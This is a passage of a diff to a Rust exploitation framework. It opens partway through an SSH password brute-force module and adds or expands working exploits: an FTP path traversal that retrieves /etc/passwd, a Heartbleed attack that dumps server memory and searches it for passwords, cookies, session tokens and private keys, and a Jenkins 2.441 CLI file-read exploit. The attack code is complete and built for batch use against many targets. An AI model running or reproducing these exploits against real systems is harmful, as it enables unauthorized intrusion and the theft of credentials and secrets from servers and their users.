         let _ = task.await;
     }
 
+    stop.store(true, Ordering::Relaxed);
+    let _ = progress_handle.await;
+
+    stats.print_final();
+
     let creds = found.lock().await;
     if creds.is_empty() {
-        println!("\n[-] No credentials found.");
+        println!("\n{}", "[-] No credentials found.".yellow());
     } else {
-        println!("\n[+] Valid credentials:");
+        println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
         for (host, user, pass) in creds.iter() {
             println!("     {} -> {}:{}", host, user, pass);
         }
@@ -155,67 +378,89 @@ pub async fn run(target: &str) -> Result<()> {
             for (host, user, pass) in creds.iter() {
                 writeln!(file, "{} -> {}:{}", host, user, pass)?;
             }
-            println!("[+] Results saved to '{}'", filename.display());
+            file.flush()?;
+            println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
         }
     }
 
     Ok(())
 }
 
-async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
+async fn try_ssh_login(
+    normalized_addr: &str,
+    user: &str,
+    pass: &str,
+    timeout_duration: Duration,
+) -> Result<bool> {
     let user_owned = user.to_string();
     let pass_owned = pass.to_string();
     let addr_owned = normalized_addr.to_string();
 
-    let result = spawn_blocking(move || {
-        match TcpStream::connect(&addr_owned) {
-            Ok(tcp) => {
-                let mut sess = Session::new()?;
-                sess.set_tcp_stream(tcp);
-                sess.handshake()?;
-                match sess.userauth_password(&user_owned, &pass_owned) {
-                    Ok(_) => Ok(sess.authenticated()),
-                    Err(_) => Ok(false),
-                }
-            }
-            Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
-        }
-    })
-    .await??;
+    let result = timeout(
+        timeout_duration,
+        spawn_blocking(move || {
+            let tcp = TcpStream::connect(&addr_owned)
+                .map_err(|e| anyhow!("Connection error: {}", e))?;
+            
+            let mut sess = Session::new()
+                .map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
+            sess.set_tcp_stream(tcp);
+            
+            sess.handshake()
+                .map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
+            
+            sess.userauth_password(&user_owned, &pass_owned)
+                .map_err(|e| anyhow!("Authentication failed: {}", e))?;
+            
+            Ok(sess.authenticated())
+        }),
+    )
+    .await
+    .map_err(|_| anyhow!("Connection timeout"))??;
 
-    Ok(result)
+    result
 }
 
-fn format_host_port(input: &str) -> Result<String> {
-    if input.starts_with('[') {
-        if let Some(end_bracket_idx) = input.find("]:") {
-            let host_part = &input[1..end_bracket_idx];
-            if !host_part.contains('[') && !host_part.contains(']') {
-                if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
-                     return Ok(input.to_string());
-                }
-            }
-        }
-    }
-
-    let (host_candidate, port_str) = match input.rfind(':') {
-        Some(idx) if idx > 0 => { // Ensure colon is not the first character
-            let (h, p) = input.split_at(idx);
-            (h, &p[1..]) // Strip colon from port part
-        }
-        _ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
-    };
-    
-    if port_str.parse::<u16>().is_err() {
-        return Err(anyhow!("Invalid port in address: '{}'", input));
-    }
-
-    let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
-
-    if stripped_host.contains(':') {
-        Ok(format!("[{}]:{}", stripped_host, port_str))
+fn normalize_target(host: &str, default_port: u16) -> Result<String> {
+    let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
+    let trimmed = host.trim();
+    let caps = re
+        .captures(trimmed)
+        .ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
+    let addr = caps.name("addr").unwrap().as_str();
+    let port = if let Some(m) = caps.name("port") {
+        m.as_str()
+            .parse::<u16>()
+            .map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
     } else {
-        Ok(format!("{}:{}", stripped_host, port_str))
+        default_port
+    };
+    let formatted = if addr.contains(':') && !addr.contains('.') {
+        format!("[{}]:{}", addr, port)
+    } else {
+        format!("{}:{}", addr, port)
+    };
+
+    formatted
+        .to_socket_addrs()
+        .map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
+        .next()
+        .ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
+
+    Ok(formatted)
+}
+
+fn prompt_existing_file(msg: &str) -> Result<String> {
+    loop {
+        let candidate = prompt_required(msg)?;
+        if Path::new(&candidate).is_file() {
+            return Ok(candidate);
+        } else {
+            println!(
+                "{}",
+                format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
+            );
+        }
     }
 }
 
@@ -278,12 +523,6 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
         .collect())
 }
 
-fn log(verbose: bool, msg: &str) {
-    if verbose {
-        println!("{}", msg);
-    }
-}
-
 fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
     let path_candidate = Path::new(input_path_str)
         .file_name()

src/modules/exploits/ftp/pachev_ftp_path_traversal_1_0.rs

@@ -1,8 +1,7 @@
 use anyhow::{anyhow, Result};
-use ftp::FtpStream;
-use std::net::ToSocketAddrs;
+use suppaftp::FtpStream;
 use std::fs::{File, OpenOptions};
-use std::io::{self, copy, BufRead, BufReader, Write};
+use std::io::{self, BufRead, BufReader, Write};
 use std::path::Path;
 use tokio::task;
 use tokio::sync::Semaphore;
@@ -35,12 +34,8 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
 
     println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
 
-    // Resolve address with better error handling
-    let socket_addr = addr.to_socket_addrs()?
-        .next()
-        .ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
-    
-    let mut ftp = FtpStream::connect(socket_addr)
+    // Connect to FTP server
+    let mut ftp = FtpStream::connect(&addr)
         .map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
 
     ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
@@ -48,15 +43,19 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
 
     println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
 
-    let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
-        .map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
-        .into_inner();
-    let mut reader = std::io::Cursor::new(reader);
-
     let safe_name = target.replace(['[', ']', ':'], "_");
     let out_file = format!("{}_passwd.txt", safe_name);
     let mut file = File::create(&out_file)?;
-    copy(&mut reader, &mut file)?;
+    
+    ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
+        io::copy(reader, &mut file)
+            .map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
+                std::io::ErrorKind::Other,
+                format!("Failed to write file: {}", e)
+            )))?;
+        Ok(())
+    })
+    .map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
 
     ftp.quit().ok();
 

src/modules/exploits/generic/heartbleed.rs

@@ -1,37 +1,268 @@
-use anyhow::{Context, Result};
+use anyhow::{Context, Result, bail};
 use std::fs::File;
-use std::io::Write;
+use std::io::{Write, BufRead, BufReader};
 use std::net::ToSocketAddrs;
 use std::path::Path;
 use std::time::{SystemTime, UNIX_EPOCH};
 use tokio::io::{AsyncReadExt, AsyncWriteExt};
 use tokio::net::TcpStream;
-use tokio::time::{timeout, Duration};
+use tokio::time::{timeout, Duration, sleep};
+use regex::Regex;
+use std::sync::Arc;
+use tokio::sync::Semaphore;
+use futures::stream::{FuturesUnordered, StreamExt};
+use colored::Colorize;
 
-/// Entry point for dispatcher – uses default port 443
-pub async fn run(target: &str) -> Result<()> {
-    run_with_port(target, 443).await
+const MAX_RETRIES: u32 = 3;
+const INITIAL_BACKOFF_MS: u64 = 500;
+const MAX_CONCURRENT: usize = 10;
+const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
+
+#[derive(Clone)]
+pub struct ScanConfig {
+    pub port: u16,
+    pub payload_size: u16,
+    pub heartbeat_attempts: usize,
+    pub batch_file: Option<String>,
 }
 
-/// Full Heartbleed scanner with user-defined port (used internally)
-pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
-    // 1) Trim whitespace and strip _all_ bracket layers:
+impl Default for ScanConfig {
+    fn default() -> Self {
+        Self {
+            port: 443,
+            payload_size: 0x4000,
+            heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
+            batch_file: None,
+        }
+    }
+}
+
+pub async fn run(target: &str) -> Result<()> {
+    let config = get_user_config(target)?;
+    run_with_config(target, config).await
+}
+
+fn get_user_config(target: &str) -> Result<ScanConfig> {
+    let mut config = ScanConfig::default();
+    
+    println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
+    println!();
+    
+    print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
+    std::io::stdout().flush()?;
+    let mut input = String::new();
+    std::io::stdin().read_line(&mut input)?;
+    if let Ok(port) = input.trim().parse::<u16>() {
+        if port > 0 {
+            config.port = port;
+        }
+    }
+    
+    print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
+    std::io::stdout().flush()?;
+    input.clear();
+    std::io::stdin().read_line(&mut input)?;
+    if let Ok(size) = input.trim().parse::<u16>() {
+        if size > 0 && size <= 0x4000 {
+            config.payload_size = size;
+        } else if size > 0x4000 {
+            println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
+            config.payload_size = 0x4000;
+        }
+    }
+    
+    print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
+    std::io::stdout().flush()?;
+    input.clear();
+    std::io::stdin().read_line(&mut input)?;
+    if let Ok(attempts) = input.trim().parse::<usize>() {
+        if attempts > 0 && attempts <= 20 {
+            config.heartbeat_attempts = attempts;
+        } else if attempts > 20 {
+            println!("{}", "Warning: Too many attempts, capped at 20".yellow());
+            config.heartbeat_attempts = 20;
+        }
+    }
+    
+    if target.is_empty() {
+        print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
+        std::io::stdout().flush()?;
+        input.clear();
+        std::io::stdin().read_line(&mut input)?;
+        
+        if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
+            print!("{}", "Enter batch file path: ".green());
+            std::io::stdout().flush()?;
+            input.clear();
+            std::io::stdin().read_line(&mut input)?;
+            let batch_file = input.trim().to_string();
+            
+            if !batch_file.is_empty() {
+                if Path::new(&batch_file).exists() {
+                    config.batch_file = Some(batch_file);
+                } else {
+                    println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
+                }
+            }
+        }
+    }
+    
+    println!();
+    println!("{}", "Configuration Summary:".cyan().bold());
+    println!("  Port: {}", config.port);
+    println!("  Payload Size: {} bytes", config.payload_size);
+    println!("  Heartbeat Attempts: {}", config.heartbeat_attempts);
+    if let Some(ref batch) = config.batch_file {
+        println!("  Batch File: {}", batch);
+    }
+    println!();
+    
+    Ok(config)
+}
+
+pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
+    if let Some(batch_file) = &config.batch_file {
+        run_batch_scan(batch_file, &config).await
+    } else {
+        scan_single_target(target, &config).await
+    }
+}
+
+async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
+    let file = File::open(batch_file)
+        .with_context(|| format!("Failed to open batch file: {}", batch_file))?;
+    let reader = BufReader::new(file);
+    
+    let targets: Vec<String> = reader
+        .lines()
+        .filter_map(|line| line.ok())
+        .map(|line| line.trim().to_string())
+        .filter(|line| !line.is_empty() && !line.starts_with('#'))
+        .collect();
+    
+    if targets.is_empty() {
+        bail!("No valid targets found in batch file");
+    }
+    
+    println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
+    println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
+    
+    let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
+    let mut tasks = FuturesUnordered::new();
+    
+    for target in targets {
+        let config_clone = config.clone();
+        let sem = semaphore.clone();
+        
+        tasks.push(tokio::spawn(async move {
+            let _permit = sem.acquire().await.unwrap();
+            scan_single_target(&target, &config_clone).await
+        }));
+    }
+    
+    while let Some(result) = tasks.next().await {
+        if let Err(e) = result {
+            eprintln!("{}", format!("[-] Task error: {}", e).red());
+        }
+    }
+    
+    println!("{}", "\n[*] Batch scan complete".green().bold());
+    Ok(())
+}
+
+async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
     let raw = target.trim();
+    
+    if raw.is_empty() {
+        bail!("Target address cannot be empty");
+    }
+    
     let stripped = raw
         .trim_start_matches('[')
         .trim_end_matches(']');
 
-    // 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
-    let host = if stripped.contains(':') {
+    let host = if stripped.contains(':') && !stripped.contains('.') {
         format!("[{}]", stripped)
     } else {
         stripped.to_string()
     };
 
-    // 3) Build the addr string with port:
-    let addr = format!("{}:{}", host, port);
+    let addr = format!("{}:{}", host, config.port);
 
-    println!("[*] Connecting to {}...", addr);
+    println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}", 
+             addr, config.payload_size, config.heartbeat_attempts).cyan());
+
+    let mut all_leaked_data = Vec::new();
+    
+    for attempt in 1..=config.heartbeat_attempts {
+        println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
+        
+        match scan_with_retry(&addr, config.payload_size).await {
+            Ok(Some(data)) => {
+                println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
+                all_leaked_data.extend_from_slice(&data);
+            }
+            Ok(None) => {
+                println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
+            }
+            Err(e) => {
+                println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
+            }
+        }
+        
+        if attempt < config.heartbeat_attempts {
+            sleep(Duration::from_millis(100)).await;
+        }
+    }
+    
+    if all_leaked_data.is_empty() {
+        println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
+        return Ok(());
+    }
+    
+    println!();
+    println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
+    println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
+    println!();
+    
+    analyze_leaked_data(&all_leaked_data);
+    
+    let safe_filename = stripped
+        .replace(':', "_")
+        .replace('/', "_")
+        .replace('\\', "_");
+    let filename = format!("leak_dump_{}.bin", safe_filename);
+    
+    save_leak_dump(&filename, &all_leaked_data)?;
+    println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
+    
+    Ok(())
+}
+
+async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
+    let mut backoff = INITIAL_BACKOFF_MS;
+    
+    for retry in 0..MAX_RETRIES {
+        if retry > 0 {
+            println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
+            sleep(Duration::from_millis(backoff)).await;
+            backoff *= 2;
+        }
+        
+        match perform_heartbleed_test(addr, payload_size).await {
+            Ok(data) => return Ok(data),
+            Err(e) if retry < MAX_RETRIES - 1 => {
+                println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
+                continue;
+            }
+            Err(e) => return Err(e),
+        }
+    }
+    
+    bail!("All retry attempts exhausted")
+}
+
+async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
     let socket_addr = addr
         .to_socket_addrs()
         .context("Invalid target address format")?
@@ -41,79 +272,153 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
     let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
     let mut stream = match stream_result {
         Ok(Ok(s)) => s,
-        Ok(Err(e)) => {
-            println!("[-] Connection to {} failed: {}", socket_addr, e);
-            return Ok(());
-        }
-        Err(_) => {
-            println!("[-] Connection to {} timed out", socket_addr);
-            return Ok(());
-        }
+        Ok(Err(e)) => bail!("Connection failed: {}", e),
+        Err(_) => bail!("Connection timed out"),
     };
 
-    println!("[*] Sending Client Hello...");
-    stream.write_all(&build_client_hello()).await?;
+    stream.write_all(&build_client_hello()).await
+        .context("Failed to send Client Hello")?;
+    stream.flush().await
+        .context("Failed to flush after Client Hello")?;
 
     let mut response = vec![0u8; 4096];
     let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
     match read_result {
-        Ok(Ok(n)) if n > 0 => {}
-        Ok(Ok(_)) => {
-            println!("[-] No response to Client Hello");
-            return Ok(());
-        }
-        Ok(Err(e)) => {
-            println!("[-] Read error: {}", e);
-            return Ok(());
-        }
-        Err(_) => {
-            println!("[-] Read timed out (Client Hello response)");
-            return Ok(());
-        }
+        Ok(Ok(n)) if n > 0 => {},
+        Ok(Ok(_)) => bail!("No response to Client Hello"),
+        Ok(Err(e)) => bail!("Read error: {}", e),
+        Err(_) => bail!("Read timed out"),
     }
 
-    println!("[*] Sending Heartbeat...");
-    stream.write_all(&build_heartbeat_request(0x4000)).await?;
+    stream.write_all(&build_heartbeat_request(payload_size)).await
+        .context("Failed to send Heartbeat request")?;
+    stream.flush().await
+        .context("Failed to flush after Heartbeat")?;
 
     let mut leak = vec![0u8; 65535];
     let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
     let n = match read_result {
         Ok(Ok(n)) if n > 0 => n,
-        Ok(Ok(_)) => {
-            println!("[-] No heartbeat response.");
-            return Ok(());
-        }
-        Ok(Err(e)) => {
-            println!("[-] Read error: {}", e);
-            return Ok(());
-        }
-        Err(_) => {
-            println!("[-] Read timed out (heartbeat response)");
-            return Ok(());
-        }
+        Ok(Ok(_)) => return Ok(None),
+        Ok(Err(_)) => return Ok(None),
+        Err(_) => return Ok(None),
     };
 
-    println!("[+] Received {} bytes in heartbeat response!", n);
-    let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
-    let path = Path::new(&filename);
+    if n <= 5 {
+        return Ok(None);
+    }
+
+    Ok(Some(leak[..n].to_vec()))
+}
+
+fn analyze_leaked_data(data: &[u8]) {
+    println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
+    
+    let data_str = String::from_utf8_lossy(data);
+    
+    let password_patterns = vec![
+        (r"password[=:]\s*[^\s&]{3,}", "Password"),
+        (r"passwd[=:]\s*[^\s&]{3,}", "Password"),
+        (r"pwd[=:]\s*[^\s&]{3,}", "Password"),
+        (r"pass[=:]\s*[^\s&]{3,}", "Password"),
+    ];
+    
+    for (pattern, label) in password_patterns {
+        if let Ok(re) = Regex::new(pattern) {
+            for cap in re.find_iter(&data_str) {
+                println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
+            }
+        }
+    }
+    
+    let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
+    if let Some(re) = cookie_re {
+        for cap in re.captures_iter(&data_str) {
+            if let Some(cookie) = cap.get(1) {
+                println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
+            }
+        }
+    }
+    
+    let session_patterns = vec![
+        r"PHPSESSID=[a-zA-Z0-9]{20,}",
+        r"JSESSIONID=[a-zA-Z0-9]{20,}",
+        r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
+    ];
+    
+    for pattern in session_patterns {
+        if let Ok(re) = Regex::new(pattern) {
+            for cap in re.find_iter(&data_str) {
+                println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
+            }
+        }
+    }
+    
+    let key_markers = vec![
+        "-----BEGIN RSA PRIVATE KEY-----",
+        "-----BEGIN PRIVATE KEY-----",
+        "-----BEGIN EC PRIVATE KEY-----",
+        "-----BEGIN DSA PRIVATE KEY-----",
+        "-----BEGIN OPENSSH PRIVATE KEY-----",
+    ];
+    
+    for marker in key_markers {
+        if data_str.contains(marker) {
+            println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
+        }
+    }
+    
+    let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
+    if let Some(re) = auth_re {
+        for cap in re.captures_iter(&data_str) {
+            if let Some(auth) = cap.get(1) {
+                println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
+            }
+        }
+    }
+    
+    let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
+    if let Some(re) = email_re {
+        let mut emails = std::collections::HashSet::new();
+        for cap in re.find_iter(&data_str) {
+            emails.insert(cap.as_str().to_string());
+        }
+        if !emails.is_empty() {
+            println!();
+            println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
+            for (i, email) in emails.iter().take(5).enumerate() {
+                println!("    {}: {}", i + 1, email);
+            }
+            if emails.len() > 5 {
+                println!("    ... and {} more", emails.len() - 5);
+            }
+        }
+    }
+    
+    println!();
+    println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
+    println!("{}", printable_dump(&data[..data.len().min(512)]));
+}
+
+fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
+    let path = Path::new(filename);
     let mut file = File::create(path)
         .with_context(|| format!("Failed to create dump file '{}'", filename))?;
-    file.write_all(&leak[..n])
+    file.write_all(data)
         .with_context(|| format!("Failed to write leak data to '{}'", filename))?;
-    println!("[+] Leak dump saved to: {}", filename);
-    println!("{}", printable_dump(&leak[..n]));
-
     Ok(())
 }
 
-/// Builds a TLS ClientHello message
 fn build_client_hello() -> Vec<u8> {
-    let version: u16 = 0x0302; // TLS 1.1
-    let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
+    let version: u16 = 0x0302;
+    let time_now = SystemTime::now()
+        .duration_since(UNIX_EPOCH)
+        .unwrap_or_default()
+        .as_secs() as u32;
 
     let mut random = vec![];
     random.extend_from_slice(&time_now.to_be_bytes());
-    random.extend_from_slice(&vec![0x42; 28]);
+    random.extend_from_slice(&[0x42; 28]);
 
     let cipher_suites: Vec<u16> = vec![
         0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
@@ -122,18 +427,18 @@ fn build_client_hello() -> Vec<u8> {
     let mut hello = vec![];
     hello.extend_from_slice(&version.to_be_bytes());
     hello.extend_from_slice(&random);
-    hello.push(0); // Session ID length
-    hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
+    hello.push(0);
+    hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
     for cs in &cipher_suites {
         hello.extend_from_slice(&cs.to_be_bytes());
     }
-    hello.push(1); // Compression methods length
-    hello.push(0); // No compression
+    hello.push(1);
+    hello.push(0);
 
     let mut extensions = vec![];
     extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
     extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
-    extensions.push(0x01); // Extension data
+    extensions.push(0x01);
 
     hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
     hello.extend_from_slice(&extensions);
@@ -146,14 +451,12 @@ fn build_client_hello() -> Vec<u8> {
     build_tls_record(0x16, version, &handshake)
 }
 
-/// Builds a malicious Heartbeat request
 fn build_heartbeat_request(length: u16) -> Vec<u8> {
     let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
     payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
     build_tls_record(0x18, 0x0302, &payload)
 }
 
-/// Wraps payload in a TLS record
 fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
     let mut record = vec![record_type];
     record.extend_from_slice(&version.to_be_bytes());
@@ -162,13 +465,13 @@ fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
     record
 }
 
-/// Converts binary leak to printable ASCII
 fn printable_dump(data: &[u8]) -> String {
     data.iter()
         .map(|b| match *b {
             32..=126 => *b as char,
-            b'\n' | b'\r' | b'\t' => ' ',
+            b'\n' => '\n',
+            b'\r' | b'\t' => ' ',
             _ => '.',
         })
         .collect()
-}
+}

src/modules/exploits/jenkins/jenkins_2_441_lfi.rs

@@ -0,0 +1,238 @@
+use std::io::{self, Write};
+use std::sync::{Arc, Mutex};
+use std::time::Duration;
+use anyhow::{Result, bail, Context};
+use colored::*;
+use tokio::time::sleep;
+use reqwest::{Client};
+use uuid::Uuid;
+use regex::Regex;
+
+const TIMEOUT_SECS: u64 = 4;
+
+#[derive(Clone)]
+struct ExploitState {
+    url: String,
+    identifier: String,
+    client: Client,
+    listening: Arc<Mutex<bool>>,
+}
+
+impl ExploitState {
+    fn new(url: String, identifier: String) -> Self {
+        let client = Client::builder()
+        .timeout(Duration::from_secs(TIMEOUT_SECS))
+        .build()
+        .expect("Failed to create HTTP client");
+
+        Self {
+            url,
+            identifier,
+            client,
+            listening: Arc::new(Mutex::new(false)),
+        }
+    }
+
+    async fn listen_and_print(&self) -> Result<()> {
+        let response = self.client
+        .post(&self.url)
+        .query(&[("remoting", "false")])
+        .header("Side", "download")
+        .header("Session", &self.identifier)
+        .send()
+        .await
+        .context("Failed to connect to target for listener")?;
+
+        let output = response.text().await?;
+        self.print_formatted_output(&output);
+
+        *self.listening.lock().unwrap() = false;
+        Ok(())
+    }
+
+    fn print_formatted_output(&self, output: &str) {
+        if output.contains("ERROR: No such file") {
+            println!("{}", "File not found.".red());
+            return;
+        } else if output.contains("ERROR: Failed to parse") {
+            println!("{}", "Could not read file.".red());
+            return;
+        }
+
+        let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
+        let results: Vec<String> = re
+        .captures_iter(output)
+        .filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
+        .collect();
+
+        if !results.is_empty() {
+            for line in results {
+                println!("{}", line);
+            }
+        }
+    }
+
+    async fn send_file_request(&self, filepath: &str) -> Result<()> {
+        let payload = get_payload(filepath);
+
+        self.client
+        .post(&self.url)
+        .query(&[("remoting", "false")])
+        .header("Side", "upload")
+        .header("Session", &self.identifier)
+        .body(payload)
+        .send()
+        .await
+        .context("Failed to send file request")?;
+
+        Ok(())
+    }
+
+    async fn read_file(&self, filepath: &str) -> Result<()> {
+        *self.listening.lock().unwrap() = true;
+
+        sleep(Duration::from_millis(100)).await;
+
+        if let Err(e) = self.send_file_request(filepath).await {
+            *self.listening.lock().unwrap() = false;
+            return Err(e);
+        }
+
+        while *self.listening.lock().unwrap() {
+            sleep(Duration::from_millis(100)).await;
+        }
+
+        self.listen_and_print().await?;
+        Ok(())
+    }
+}
+
+fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
+    let text_bytes = text.as_bytes();
+    let text_size = text_bytes.len() as u16;
+
+    let mut text_message = Vec::new();
+    text_message.extend_from_slice(&text_size.to_be_bytes());
+    text_message.extend_from_slice(text_bytes);
+
+    let message_size = text_message.len() as u32;
+
+    let mut payload = Vec::new();
+    payload.extend_from_slice(&message_size.to_be_bytes());
+    payload.push(operation_index);
+    payload.extend_from_slice(&text_message);
+
+    payload
+}
+
+fn get_payload(filepath: &str) -> Vec<u8> {
+    let arg_operation = 0u8;
+    let start_operation = 3u8;
+
+    let command = get_payload_message(arg_operation, "connect-node");
+    let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
+
+    let mut payload = Vec::new();
+    payload.extend_from_slice(&command);
+    payload.extend_from_slice(&poisoned_argument);
+    payload.push(start_operation);
+
+    payload
+}
+
+fn make_path_absolute(filepath: &str) -> String {
+    if filepath.starts_with('/') {
+        filepath.to_string()
+    } else {
+        format!("/proc/self/cwd/{}", filepath)
+    }
+}
+
+fn format_target_url(url: &str) -> String {
+    let url = url.trim_end_matches('/');
+    format!("{}/cli", url)
+}
+
+async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
+    println!("{}", "Press Ctrl+C to exit".cyan());
+
+    loop {
+        print!("{}", "File to download:\n> ".green().bold());
+        io::stdout().flush()?;
+
+        let mut input = String::new();
+        match io::stdin().read_line(&mut input) {
+            Ok(0) => break,
+            Ok(_) => {
+                let filepath = input.trim();
+                if filepath.is_empty() {
+                    continue;
+                }
+
+                let absolute_path = make_path_absolute(filepath);
+
+                match state.read_file(&absolute_path).await {
+                    Ok(_) => {}
+                    Err(e) => {
+                        if e.to_string().contains("timeout") {
+                            println!("{}", "Payload request timed out.".yellow());
+                        } else {
+                            println!("{}", format!("Error: {}", e).red());
+                        }
+                    }
+                }
+            }
+            Err(e) => {
+                eprintln!("Error reading input: {}", e);
+                break;
+            }
+        }
+    }
+
+    Ok(())
+}
+
+pub async fn run(args: &str) -> Result<()> {
+    let parts: Vec<&str> = args.split_whitespace().collect();
+
+    if parts.is_empty() {
+        bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
+    }
+
+    let url = format_target_url(parts[0]);
+    let filepath = parts.get(1).map(|s| s.to_string());
+    let identifier = Uuid::new_v4().to_string();
+
+    println!("{}", format!("[*] Target: {}", url).cyan().bold());
+    println!("{}", format!("[*] Session ID: {}", identifier).cyan());
+
+    let state = ExploitState::new(url, identifier);
+
+    if let Some(path) = filepath {
+        let absolute_path = make_path_absolute(&path);
+        println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
+
+        match state.read_file(&absolute_path).await {
+            Ok(_) => println!("{}", "[+] File read complete".green().bold()),
+            Err(e) => {
+                if e.to_string().contains("timeout") {
+                    println!("{}", "[-] Payload request timed out.".red());
+                } else {
+                    println!("{}", format!("[-] Error: {}", e).red());
+                }
+            }
+        }
+    } else {
+        match start_interactive_file_read(state).await {
+            Ok(_) => {}
+            Err(e) => {
+                if !e.to_string().contains("Interrupted") {
+                    eprintln!("Error: {}", e);
+                }
+            }
+        }
+        println!("\n{}", "Quitting".yellow());
+    }
+
+    Ok(())
+}

src/modules/exploits/jenkins/mod.rs

@@ -0,0 +1 @@
+pub mod jenkins_2_441_lfi;

src/modules/exploits/mod.rs

